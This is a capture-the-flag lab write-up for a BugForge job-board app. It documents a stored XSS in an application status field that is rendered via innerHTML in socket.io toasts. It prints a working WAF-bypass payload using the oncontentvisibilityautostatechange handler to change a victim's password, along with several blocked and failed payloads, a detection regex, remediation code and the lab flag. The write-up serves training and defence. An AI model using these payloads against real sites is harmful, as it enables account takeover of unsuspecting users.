BugForge - FurHire WAF Bypass Lab Writeup
Executive Summary
Overall Risk Rating: π΄ Critical
Key Findings:
- Stored XSS via application status field rendered through socket.io toast notification (
innerHTMLsink) - WAF keyword blocklist bypass using
oncontentvisibilityautostatechangeβ a newer CSS event handler not in the blocklist - No-interaction trigger via
content-visibility:autoCSS property
Business Impact: Stored XSS enables full account takeover of any job seeker on the platform. An attacker acting as a recruiter can change any applicantβs password without their knowledge, gaining complete access to their account and personal data.
Objective
Achieve XSS on target user jeremy. The application has a WAF blocking standard XSS vectors.
Initial Access
# Target Application
URL: https://lab-1773522863657-6jdfnj.labs-app.bugforge.io
# Auth: Self-registered accounts with JWT (HttpOnly cookie)
# PwnFox container isolation:
# Blue = seeker (id=6) β recon and receiving toasts
# Yellow = recruiter (id=7) β injection via status updates
Key Findings
Critical & High-Risk Vulnerabilities
- Stored XSS via application status field β The
PUT /api/applications/:id/statusendpoint accepts arbitrary HTML in thestatusfield. The server includes this raw value in socket.iostatus_updatemessages, whichshowToast()renders viainnerHTML(CWE-79) - WAF blocklist gaps β The WAF uses a keyword blocklist for event handlers rather than a broad pattern like
on\w+=. Newer browser event handlers not in the list pass through unblocked (CWE-693) - Missing input validation on status field β Server does not constrain status to known values (CWE-20)
CVSS v3.1 Score for Stored XSS: 9.6 (Critical)
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Changed |
| Confidentiality | High |
| Integrity | High |
| Availability | None |
Enumeration Summary
Application Analysis
Tech Stack:
- Express (Node.js) β
X-Powered-By: Express - Socket.io for real-time notifications (toasts)
- JWT auth via HttpOnly cookie
- Client-side rendering via AJAX +
innerHTMLwithFurHire.escapeHtml()
Target Endpoints Discovered:
| Method | Path | Role | Notes |
|---|---|---|---|
| POST | /api/register |
public | username, email, full_name, role, password |
| POST | /api/login |
public | Β |
| PUT | /api/profile |
user | bio, location, phone, years_experience, skills |
| PUT | /api/profile/password |
user | newPassword |
| PUT | /api/company |
recruiter | company_name, industry, description, location, website |
| POST | /api/jobs |
recruiter | title, description, location, job_type, salary_range, requirements |
| POST | /api/jobs/:id/apply |
user | cover_letter |
| GET | /api/jobs/:id/applicants |
recruiter | list of applicants |
| PUT | /api/applications/:id/status |
recruiter | status β INJECTION POINT |
| GET | /api/my-applications |
user | seekerβs application history |
Attack Chain Visualization
ββββββββββββββββ POST /api/jobs ββββββββββββββββ
β Attacker ββββββββββββββββββββββββΆβ FurHire App β
β (recruiter) β β (Express) β
ββββββββ¬ββββββββ ββββββββ¬ββββββββ
β β
β jeremy applies to job (~3 min) β
ββββββββββββββββββββββββββββββββββββββββ
β
β PUT /api/applications/:id/status
β {"status":"accepted<img oncontentvisi..."}
βββββββββββββββββββββββββββββββββββββββΆββββββββββββ
β β WAF β
β WAF passes payload β blocklistβ
ββββββββββββββββββββββββββββββββββββββββββββββββββ
β β
β βββββββββΌββββββββ
β β socket.io β
β β status_update β
β βββββββββ¬ββββββββ
β β
β βββββββββΌββββββββ
β β jeremy's β
β β browser β
β β β
β β showToast() β
β β innerHTML ββββΆ XSS fires
β β β
β β fetch() PUT β
β β /api/profile/ β
β β password ββββΆ password = "password2"
β βββββββββββββββββ
β
β POST /api/login {jeremy:password2}
βββββββββββββββββββββββββββββββββββββββΆ Account takeover β
Attack Path Summary:
- Register as recruiter, create company, post job listing
- Wait for jeremyβs bot to apply (~3 min)
- Update application status with XSS payload using unlisted event handler
- WAF passes payload β
oncontentvisibilityautostatechangenot in blocklist - Socket.io delivers
status_updateto jeremyβs browser showToast()renders payload viainnerHTMLβ XSS fires without interactionfetch()changes jeremyβs password topassword2- Login as jeremy β account takeover complete
Exploitation Path
Step 1: Reconnaissance β Mapping the Application
Registered two accounts using PwnFox for container isolation:
- Blue container β seeker account (id=6) for browsing the app as a job applicant
- Yellow container β recruiter account (id=7) for posting jobs and managing applications
Mapped all API endpoints via browser devtools network tab. Identified the tech stack from X-Powered-By: Express header and socket.io connections in the WebSocket tab.
Step 2: Identify the Sink β showToast() innerHTML
The socket.io status_update event triggers showToast(data.message) which renders content via innerHTML without escaping. This is the only rendering path that doesnβt use FurHire.escapeHtml() β all page templates properly escape output.
// Vulnerable sink in app.js
function showToast(message) {
const toast = document.createElement('div');
toast.innerHTML = message; // No escaping β raw HTML rendered
// ...
}
Step 3: Identify the Injection Point β Application Status
The PUT /api/applications/:id/status endpoint accepts a JSON body with a status field. The server does not validate or sanitize this value β itβs included raw in the socket.io message sent to the applicant.
PUT /api/applications/1/status HTTP/1.1
Content-Type: application/json
Cookie: token=eyJ...
{"status":"accepted"}
The server emits:
socket.emit('status_update', {
message: `Your application status has been updated to: ${status}`
});
Step 4: WAF Analysis and Bypass
Initial XSS attempts were blocked by the WAF:
// All blocked:
<img onerror=alert(1)> β blocked (onerror in blocklist)
<svg onload=alert(1)> β blocked (onload in blocklist)
<script>alert(1)</script> β blocked (<script in blocklist)
<iframe src=javascript:...> β blocked (javascript: in blocklist)
Tested the WAFβs detection approach:
<x onfakeevent=test> β PASSED β
This confirmed the WAF uses a keyword blocklist, not a regex pattern like on\w+=. Any event handler not explicitly listed would bypass it.
Used oncontentvisibilityautostatechange β a CSS Containment Level 2 event that fires when an elementβs content-visibility state changes. Combined with style=display:block;content-visibility:auto to trigger automatically without user interaction.
Step 5: Craft and Deliver the Payload
The payload needs to:
- Bypass the WAF (use unlisted event handler)
- Fire without user interaction (CSS
content-visibility:auto) - Change jeremyβs password (
fetchto/api/profile/password) - Use jeremyβs existing auth cookie (HttpOnly JWT sent automatically with same-origin fetch)
accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>
The base64-encoded body decodes to {"newPassword":"password2"}.
Delivered via:
PUT /api/applications/<jeremy-app-id>/status HTTP/1.1
Content-Type: application/json
Cookie: token=<recruiter-jwt>
{"status":"accepted<img oncontentvisibilityautostatechange=fetch('/api/profile/password',{'method':'PUT','headers':{'Content-Type':'application/json'},'body':atob('eyJuZXdQYXNzd29yZCI6InBhc3N3b3JkMiJ9')}) style=display:block;content-visibility:auto>"}
Socket.io delivered the status_update to jeremyβs browser. showToast() rendered the payload via innerHTML. content-visibility:auto triggered the event handler β fetch() changed jeremyβs password. Logged in as jeremy with password2.
Flag / Objective Achieved
β
Flag: bug{3pYyQ3gyX5KyzCVWqU3yAcBM5gO1dYne}
Account takeover achieved β logged in as jeremy after changing his password via stored XSS.
Key Learnings
- Keyword blocklists age badly. New browser APIs introduce new event handlers regularly. A WAF that blocks a static list of
on*handlers will inevitably miss newer ones likeoncontentvisibilityautostatechange(CSS Containment Level 2). A regex pattern likeon\w+=or an allowlist approach is more durable. - Test the WAFβs detection model, not just its responses. Sending
<x onfakeevent=test>immediately revealed the blocklist approach β that single test saved time vs. brute-forcing known handlers. content-visibility:autoenables interaction-free XSS. Unlike handlers that require clicks or hovers,oncontentvisibilityautostatechangefires when the element becomes visible in the viewport. Combined withdisplay:block, it triggers as soon as the DOM renders.- Socket.io sinks are easy to overlook. The main page templates all used
escapeHtml(), but the toast notification path rendered raw HTML. Real-time notification systems (WebSocket, SSE, push) are often an afterthought in security reviews. - HttpOnly doesnβt prevent account takeover via same-origin requests. The JWT cookie couldnβt be exfiltrated, but
fetch()to the password change endpoint sends the cookie automatically. The impact is identical β full account compromise.
Tools Used
- PwnFox β Firefox container isolation for separate seeker and recruiter sessions
- Browser DevTools β Network tab for API mapping, WebSocket tab for socket.io inspection, Console for payload testing
- Burp Suite / curl β HTTP request manipulation for status field injection
Remediation
1. Stored XSS via innerHTML in showToast() (CVSS: 9.6 - Critical)
Issue: showToast() renders user-controlled content via innerHTML without sanitization, allowing arbitrary JavaScript execution in other usersβ browsers.
CWE Reference: CWE-79 β Improper Neutralization of Input During Web Page Generation (βCross-site Scriptingβ)
Fix:
// BEFORE (Vulnerable)
function showToast(message) {
const toast = document.createElement('div');
toast.innerHTML = message;
}
// AFTER (Secure)
function showToast(message) {
const toast = document.createElement('div');
toast.textContent = message; // Renders as text, not HTML
}
2. Missing Server-Side Input Validation on Status Field (CVSS: 8.1 - High)
Issue: The PUT /api/applications/:id/status endpoint accepts arbitrary strings in the status field. The server should constrain this to known status values.
CWE Reference: CWE-20 β Improper Input Validation
Fix:
// BEFORE (Vulnerable)
app.put('/api/applications/:id/status', (req, res) => {
const { status } = req.body;
updateApplicationStatus(id, status);
});
// AFTER (Secure)
const VALID_STATUSES = ['pending', 'reviewing', 'accepted', 'rejected'];
app.put('/api/applications/:id/status', (req, res) => {
const { status } = req.body;
if (!VALID_STATUSES.includes(status)) {
return res.status(400).json({ error: 'Invalid status value' });
}
updateApplicationStatus(id, status);
});
3. WAF Blocklist Approach (CVSS: 5.3 - Medium)
Issue: WAF uses a static keyword blocklist for event handlers. New browser event handlers bypass it automatically.
CWE Reference: CWE-693 β Protection Mechanism Failure
Fix:
// WAF improvement: block ALL event handler patterns
// Instead of: ['onerror', 'onload', 'onclick', ...]
// Use regex:
const EVENT_HANDLER_PATTERN = /\bon[a-z]+=|<script|javascript:/i;
// But WAF is defense-in-depth, not the primary fix.
// The real fix is #1 (textContent) and #2 (input validation).
Failed Attempts
Approach 1: Job Title Injection
POST /api/jobs β title: "<img onerror=alert(1)>"
Result: Failed β All page templates use FurHire.escapeHtml(). Server also escapes title in socket messages.
Approach 2: Object Tag with Data URI
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>
Result: Failed β Bypassed the WAF but data: URIs execute in an opaque origin. No access to the parent pageβs cookies or DOM.
Approach 3: JSON Unicode Escapes
\u006f\u006e\u0065\u0072\u0072\u006f\u0072
Result: Failed β WAF decodes unicode escapes before checking the blocklist.
Approach 4: Content Overload
Large request body attempting to exceed WAF inspection limits
Result: Failed β WAF inspects the full request body up to the serverβs 100KB limit.
Approach 5: Content-Type Juggling
Sending XSS payload with non-JSON Content-Type headers
Result: Failed β WAF checks all content types, not just application/json.
Approach 6: URL Path Reflection
Injecting HTML via URL path parameters
Result: Failed β Server HTML-encodes <>&"' in reflected path parameters.
Approach 7: Company Website Field with Data URI
PUT /api/company β website: "data:text/html;base64,..."
Result: Failed β Even if jeremyβs bot clicked the link, the data: URI opens in a sandboxed opaque origin.
OWASP Top 10 Coverage
- A03:2021 β Injection (Stored XSS via unsanitized status field rendered through
innerHTML) - A05:2021 β Security Misconfiguration (WAF keyword blocklist incomplete, missing newer event handlers)
- A07:2021 β Identification and Authentication Failures (Password change endpoint lacks re-authentication, enabling account takeover via XSS)
References
XSS & WAF Bypass Resources:
- MDN: contentvisibilityautostatechange event
- W3C CSS Containment Level 2: content-visibility
- PortSwigger: Stored XSS
- CWE-79: Cross-site Scripting
- CWE-693: Protection Mechanism Failure
- OWASP: XSS Prevention Cheat Sheet
Tags: #xss #stored-xss #waf-bypass #socket-io #innerhtml #content-visibility #account-takeover #bugforge